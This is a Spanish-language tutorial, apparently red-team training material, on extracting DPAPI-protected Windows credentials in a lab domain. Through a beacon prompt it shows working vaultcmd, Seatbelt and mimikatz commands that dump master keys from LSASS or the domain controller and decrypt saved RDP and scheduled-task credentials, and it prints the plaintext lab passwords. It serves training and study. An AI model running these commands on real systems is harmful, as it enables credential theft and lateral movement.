Data Protection API
Data Protection API
La Data Protection API (DPAPI) es un componente integrado en Windows que proporciona un medio para cifrar y descifrar "blobs" de datos. Utiliza claves criptográficas que están vinculadas a un usuario o computadora específicos y permite tanto a las funcionalidades nativas de Windows como a aplicaciones de terceros proteger/desproteger datos de manera transparente para el usuario.
DPAPI es utilizada por el Windows Credential Manager para almacenar secretos guardados como credenciales de RDP, y por aplicaciones de terceros como Google Chrome para almacenar credenciales de sitios web.
Credential Manager
La forma en que funciona el Windows Credential Manager puede ser un poco confusa al principio. Si investigas sobre el tema, encontrarás los términos "Vaults" y "Credentials". Un "vault" esencialmente contiene registros de credenciales cifradas y una referencia a los blobs cifrados. Windows tiene dos vaults: Web Credentials (para almacenar credenciales del navegador) y Windows Credentials (para almacenar credenciales guardadas por mstsc, etc.). Una "credential" es el blob de credencial cifrado real.
Para enumerar los vaults de un usuario, puedes usar la herramienta nativa vaultcmd.
beacon> run vaultcmd /list
Currently loaded vaults:
Vault: Web Credentials
Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Vault: Windows Credentials
Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault
beacon> run vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
Identity: SQL-2\Administrator
Hidden: No
Roaming: No
Property (schema element id,value): (100,2)
Otra opción es usar Seatbelt con el parámetro -group=user, o más específicamente, el parámetro WindowsVault.
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault
====== WindowsVault ======
Vault GUID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Vault Type : Web Credentials
Item count : 0
Vault GUID : 77bc582b-f0a6-4e15-4e80-61736b6f3b29
Vault Type : Windows Credentials
Item count : 1
SchemaGuid : 3e0e35be-1b77-43e7-b873-aed901b6275b
Resource : String: Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
Identity : String: SQL-2\Administrator
PackageSid : (null)
Credential :
LastModified : 9/6/2022 9:12:12 AM
Con base en esto, ahora sabemos que el usuario ha guardado credenciales para la cuenta de administrador local en SQL-2. Las credenciales cifradas se almacenan en el directorio "Credentials" del usuario.
beacon> ls C:\Users\bfarmer\AppData\Local\Microsoft\Credentials
[*] Listing: C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\
Size Type Last Modified Name
---- ---- ------------- ----
468b fil 09/06/2022 10:34:22 6C33AC85D0C4DCEAB186B3B2E5B1AC7C
10kb fil 08/30/2022 08:42:59 DFBE70A7E5CC19A398EBF1B96859CE5D
Seatbelt también puede enumerarlas usando el parámetro WindowsCredentialFiles.
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsCredentialFiles
====== WindowsCredentialFiles ======
Folder : C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\
FileName : 6C33AC85D0C4DCEAB186B3B2E5B1AC7C
Description : Local Credential Data
MasterKey : bfc5090d-22fe-4058-8953-47f6882f549e
Accessed : 9/6/2022 10:50:44 AM
Modified : 9/6/2022 10:50:44 AM
Size : 468
FileName : DFBE70A7E5CC19A398EBF1B96859CE5D
Description : Local Credential Data
MasterKey : bfc5090d-22fe-4058-8953-47f6882f549e
Accessed : 9/6/2022 10:50:44 AM
Modified : 9/6/2022 10:50:44 AM
Size : 11036
Info
Hasta donde sé, no hay forma de saber a qué vault pertenece cada blob de credencial; y por extensión, si un vault tiene múltiples entradas, qué blob de credencial corresponde a cuál. Esto significa que debemos descifrar cada uno por turno.
Seatbelt también proporciona el GUID de la clave maestra utilizada para cifrar las credenciales. Las claves maestras se almacenan en el directorio "Protect" del perfil de usuario itinerante. Pero, adivina qué... también están cifradas.
beacon> ls C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104
[*] Listing: C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\
Size Type Last Modified Name
---- ---- ------------- ----
740b fil 08/15/2022 17:34:31 bfc5090d-22fe-4058-8953-47f6882f549e
928b fil 08/15/2022 17:34:31 BK-DEV
24b fil 08/15/2022 17:34:31 Preferred
Por lo tanto, primero debemos descifrar la clave maestra para obtener la clave de cifrado AES128/256 real, y luego usar esa clave para descifrar el blob de credencial. Hay dos maneras de hacer esto.
La primera solo es posible si tienes acceso de administrador local en la máquina y si la clave está en caché en LSASS. No estará en caché si el usuario no ha accedido/descifrado recientemente la credencial.
beacon> mimikatz !sekurlsa::dpapi
Authentication Id : 0 ; 1075454 (00000000:001068fe)
Session : RemoteInteractive from 2
User Name : bfarmer
Domain : DEV
Logon Server : DC-2
Logon Time : 9/6/2022 9:09:54 AM
SID : S-1-5-21-569305411-121244042-2357301523-1104
[00000000]
* GUID : {bfc5090d-22fe-4058-8953-47f6882f549e}
* Time : 9/6/2022 11:27:44 AM
* MasterKey : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
* sha1(key) : 897f7bf129e6a898ff4e20e9789009d5385be1f3
Podemos ver que el GUID coincide con lo que estamos buscando, por lo que la clave 8d1539[...]19c214 es la que necesitamos.
Otra manera de obtener la clave maestra (que no requiere elevación ni interacción con LSASS) es solicitarla al controlador de dominio a través del Microsoft BackupKey Remote Protocol (MS-BKRP). Esto está diseñado como un mecanismo de seguridad en caso de que un usuario cambie u olvide su contraseña, y para soportar diversas funcionalidades de tarjetas inteligentes.
beacon> mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc
[domainkey] with RPC
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
key : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
sha1: 897f7bf129e6a898ff4e20e9789009d5385be1f3
Esto solo funcionará si se ejecuta en el contexto del usuario que posee la clave. Si tu Beacon se está ejecutando como otro usuario o SYSTEM, primero debes suplantar al usuario objetivo de alguna manera, y luego ejecutar el comando usando el modificador @.
Finalmente, el blob puede ser descifrado.
beacon> mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\6C33AC85D0C4DCEAB186B3B2E5B1AC7C /masterkey:8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
TargetName : Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
UserName : SQL-2\Administrator
CredentialBlob : wIfY&cZ&d?QP9iMFEzckmj.34=@sg.*i
Scheduled Task Credentials
Las Scheduled Tasks pueden guardar credenciales para que se puedan ejecutar bajo el contexto de un usuario sin que este tenga que iniciar sesión. Si tenemos privilegios de administrador local en una máquina, podemos descifrarlas de manera similar. Los blobs se guardan en C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\.
beacon> ls C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
Size Type Last Modified Name
---- ---- ------------- ----
10kb fil 08/30/2022 12:42:24 DFBE70A7E5CC19A398EBF1B96859CE5D
528b fil 08/16/2022 14:55:28 F3190EBE0498B77B4A85ECBABCA19B6E
dpapi::cred puede decirnos el GUID de la clave maestra utilizada para cifrar cada una.
beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E
guidMasterKey : {aaa23e6b-bba8-441d-923c-ec242d6690c3}
sekurlsa::dpapi para volcar claves en caché.
beacon> mimikatz !sekurlsa::dpapi
[00000000]
* GUID : {aaa23e6b-bba8-441d-923c-ec242d6690c3}
* Time : 9/6/2022 12:14:38 PM
* MasterKey : 10530dda04093232087d35345bfbb4b75db7382ed6db73806f86238f6c3527d830f67210199579f86b0c0f039cd9a55b16b4ac0a3f411edfacc593a541f8d0d9
* sha1(key) : cfbc842e78ee6713fa5dcb3c9c2d6c6d7c09f06c
Y luego descifrar.
beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E /masterkey:10530dda04093232087d35345bfbb4b75db7382ed6db73806f86238f6c3527d830f67210199579f86b0c0f039cd9a55b16b4ac0a3f411edfacc593a541f8d0d9
TargetName : Domain:batch=TaskScheduler:Task:{86042B87-C8D0-40A5-BB58-14A45356E01C}
UserName : DEV\jking
CredentialBlob : Qwerty123